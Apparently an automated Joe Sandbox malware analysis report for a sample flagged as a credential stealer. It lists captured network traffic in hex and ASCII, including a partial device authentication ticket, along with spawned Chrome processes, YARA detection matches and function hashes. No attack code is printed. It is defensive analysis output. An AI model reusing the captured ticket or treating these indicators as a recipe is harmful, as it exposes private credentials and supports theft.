2024-12-10 05:39:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 05:39:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 69 46 4d 57 4f 6d 4f 48 6b 61 30 63 74 6f 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 34 34 36 38 36 33 34 39 36 35 63 64 64 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 67 4a 59 77 59 34 45 59 34 31 54 63 37 6f 44 46 66 66 66 6b 58 6f 59 50 44 35 66 7a 77 75 2f 44 44 66 79 32 62 32 71 66 45 32 41 2b 42 54 32 6a 73 4c 62 31 50 4a 78 6b 71 43 6f 68 50 69 6b 65 6f 43 6b 70 69 61 42 50 72 6d 67 79 62 76 56 32 34 34 71 79 58 78 4d 38 65 6e 39 5a 33 46 58 6a 58 63 72 43 6f 76 4a 72 67 51 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 3iFMWOmOHka0ctoK.2Context: c54468634965cddd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4gJYwY4EY41Tc7oDFfffkXoYPD5fzwu/DDfy2b2qfE2A+BT2jsLb1PJxkqCohPikeoCkpiaBPrmgybvV244qyXxM8en9Z3FXjXcrCovJrgQ4
2024-12-10 05:39:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 69 46 4d 57 4f 6d 4f 48 6b 61 30 63 74 6f 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 34 34 36 38 36 33 34 39 36 35 63 64 64 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3iFMWOmOHka0ctoK.3Context: c54468634965cddd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 05:39:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 05:39:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 65 65 30 51 39 75 5a 47 4f 55 6d 75 62 57 41 30 6a 4b 6a 44 6f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ee0Q9uZGOUmubWA0jKjDoA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	50039	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:40:00 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 58 31 4c 36 37 79 43 53 47 6b 4b 61 49 45 43 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 38 34 30 36 35 37 39 36 38 31 63 33 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: X1L67yCSGkKaIECz.1Context: 7a18406579681c37
2024-12-10 05:40:00 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 05:40:00 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 58 31 4c 36 37 79 43 53 47 6b 4b 61 49 45 43 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 38 34 30 36 35 37 39 36 38 31 63 33 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 67 4a 59 77 59 34 45 59 34 31 54 63 37 6f 44 46 66 66 66 6b 58 6f 59 50 44 35 66 7a 77 75 2f 44 44 66 79 32 62 32 71 66 45 32 41 2b 42 54 32 6a 73 4c 62 31 50 4a 78 6b 71 43 6f 68 50 69 6b 65 6f 43 6b 70 69 61 42 50 72 6d 67 79 62 76 56 32 34 34 71 79 58 78 4d 38 65 6e 39 5a 33 46 58 6a 58 63 72 43 6f 76 4a 72 67 51 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: X1L67yCSGkKaIECz.2Context: 7a18406579681c37<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4gJYwY4EY41Tc7oDFfffkXoYPD5fzwu/DDfy2b2qfE2A+BT2jsLb1PJxkqCohPikeoCkpiaBPrmgybvV244qyXxM8en9Z3FXjXcrCovJrgQ4
2024-12-10 05:40:00 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 58 31 4c 36 37 79 43 53 47 6b 4b 61 49 45 43 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 38 34 30 36 35 37 39 36 38 31 63 33 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: X1L67yCSGkKaIECz.3Context: 7a18406579681c37<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 05:40:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 05:40:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 51 6e 35 65 41 41 6f 58 30 57 46 73 2b 2b 68 69 63 4f 53 73 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6Qn5eAAoX0WFs++hicOSsg.0Payload parsing failed.

Target ID:	0
Start time:	00:37:59
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x390000
File size:	1'869'824 bytes
MD5 hash:	5A9CAC2F794B43F5D882FCA4C8B69E01
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2262456548.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2261933260.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:38:33
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:38:34
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1912,i,17050092175459860122,8061209407353569252,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:38:37
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:38:38
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1968,i,12435437372849550956,943092038503640388,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 061CE538 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 061CEBF4

Strings

t.k, xrefs: 061CE53C

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: t.k
API String ID: 4275171209-2847961094
Opcode ID: b04a4f7856c5fd1856115ebf758369aeb45ef3bf3e6ee1b967cfa05a7922ae3b
Instruction ID: 6317612cbe9b5ea41be1b223ce251856db207059d5283ad84c0d898ab4a349f0
Opcode Fuzzy Hash: b04a4f7856c5fd1856115ebf758369aeb45ef3bf3e6ee1b967cfa05a7922ae3b
Instruction Fuzzy Hash: D6E06DB66096088FD7945F38880976EBBA1FB90331F220B29FA66D76D0E7310C10C616

Function 061CE7E8 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 061CE7ED

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f75f33eaa074a89e56585842cf9070271f5ab3ad254685fa9bb3eb98f07b3312
Instruction ID: 61d6cc45d1a17c17e19413e7cd6449370d29cfa6706f236ae3672f5bf2acedaf
Opcode Fuzzy Hash: f75f33eaa074a89e56585842cf9070271f5ab3ad254685fa9bb3eb98f07b3312
Instruction Fuzzy Hash: DCB092B408830A9EE7401F2084087BE3AA0FB14701F01081CEC8580940E3B10C20CA66

Non-executed Functions

Function 061D97F0 Relevance: 4.2, Strings: 3, Instructions: 493
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I, xrefs: 061D9C74
I, xrefs: 061D9D9A, 061D9DDA, 061D9E5F, 061D9E7D
xo~w, xrefs: 061D9D68

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID: xo~w$I$I
API String ID: 0-577560464
Opcode ID: 94b6e93ca54069ce40593b29c2c108cf29a0fe166a45b5dcd94711e0cacede7a
Instruction ID: d1a37de7a7a8418ae12c9326642c90b992d8b362e4f23091f1acee8b0a953926
Opcode Fuzzy Hash: 94b6e93ca54069ce40593b29c2c108cf29a0fe166a45b5dcd94711e0cacede7a
Instruction Fuzzy Hash: F3F1C0F3F152214BF3044E29DC98366BA92EBD4320F2B813D8E98977C5E97E5D058385

Function 061F6132 Relevance: 3.0, Strings: 2, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fH, xrefs: 061F653B
#$.5, xrefs: 061F66D7

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID: #$.5$fH
API String ID: 0-370105583
Opcode ID: 9416d064951600e18bb890743a2afddae9dd51fe266006049537f29662b3cae0
Instruction ID: 76a9b5c4487cb5f850c13790691dee13fe7dd7b83afa2477d158dc4e611bb808
Opcode Fuzzy Hash: 9416d064951600e18bb890743a2afddae9dd51fe266006049537f29662b3cae0
Instruction Fuzzy Hash: F5F1AEF3F106104BF3444D39DD583667692EBE4320F2B863D9A889BBC5E93E9D0A5784

Function 06204B19 Relevance: 2.8, Strings: 2, Instructions: 339
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1xx, xrefs: 06204B67
R, xrefs: 06204BFA

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID: 1xx$R
API String ID: 0-1194351237
Opcode ID: aff93fbf188212e50e4c1de9a144f502d106f45a171da3b9d7df9df2ddec83fc
Instruction ID: 7ab7e3981f2516e3efa46515c5c78364ecc02a9a6ec5fa9368857f38635c21ec
Opcode Fuzzy Hash: aff93fbf188212e50e4c1de9a144f502d106f45a171da3b9d7df9df2ddec83fc
Instruction Fuzzy Hash: B1C179F3F116254BF3944939CC983616693ABA4320F2F42788EAC6B7C6D93E5D1A53C4

Function 061EB193 Relevance: 2.8, Strings: 2, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

T|#8, xrefs: 061EB33D
T|#8, xrefs: 061EB34A

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID: T|#8$T|#8
API String ID: 0-2673502512
Opcode ID: f65a170faf4c32d0e590bec9eb4f35dd4766115802eb88aff80555003d606ee8
Instruction ID: a2bcb06ddd07dc037d92db5e23d4e8db7a9b35c1572557f23ea6abd9723098f0
Opcode Fuzzy Hash: f65a170faf4c32d0e590bec9eb4f35dd4766115802eb88aff80555003d606ee8
Instruction Fuzzy Hash: D5B19BB3F105254BF3584D28CCA93A26643DB90324F2F82798F5DAB7C5D97E9D0A5384

Function 061FA21F Relevance: 2.8, Strings: 2, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%p1), xrefs: 061FA57E
E, xrefs: 061FA2FB

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID: %p1)$E
API String ID: 0-2535744507
Opcode ID: 55bd870674c48f72cf288597c407343b6d745b2c1a7d1159125adb4067130e65
Instruction ID: 60dd5434c30c615874d9d8a7e1dc051a107d9c560e092b88a47585bf7fdf07b6
Opcode Fuzzy Hash: 55bd870674c48f72cf288597c407343b6d745b2c1a7d1159125adb4067130e65
Instruction Fuzzy Hash: 95B18CB3F502254BF3544E78CD993A27683DB94324F2F42788F58AB3D1E97E9D055288

Function 06202503 Relevance: 1.7, Strings: 1, Instructions: 492
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ch_{, xrefs: 062029AF

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID: Ch_{
API String ID: 0-349526904
Opcode ID: 8db8108eb1e6812f23ca74559bd45d013897787c610fcb65f94c5aaf57af7564
Instruction ID: 525820bb62c6495e074f158611ccbd16520331dd2c5fd4dcf9ef130e0e0615b9
Opcode Fuzzy Hash: 8db8108eb1e6812f23ca74559bd45d013897787c610fcb65f94c5aaf57af7564
Instruction Fuzzy Hash: 02F1CFF3F142114BF7484E38DC68376B692EBA4314F2B453DDA899B7C5E97E880A4385

Function 061DBF0B Relevance: 1.7, Strings: 1, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<RZ, xrefs: 061DC461

Memory Dump Source

Source File: 00000000.00000002.2552919245.00000000061CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: true

Associated: 00000000.00000002.2552783120.00000000061C0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006464000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2552919245.0000000006476000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_file.jbxd

Similarity

API ID:
String ID: <RZ
API String ID: 0-442661506
Opcode ID: 0a5d6f5c83592def8093f4c50f7658f3c8529fa79e4f2dcfde3f17e5381467f6
Instruction ID: fa2509543256951d2e8179340ec3408bbdb92f3f7548fcb23532558e55ba80fd
Opcode Fuzzy Hash: 0a5d6f5c83592def8093f4c50f7658f3c8529fa79e4f2dcfde3f17e5381467f6
Instruction Fuzzy Hash: D0F1F3F3E102244BF3545E29CC99376B6D6EB94320F2B423CDE98A77C4E93E9D058285

Function 061E582A Relevance: 1.7, Strings: 1, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

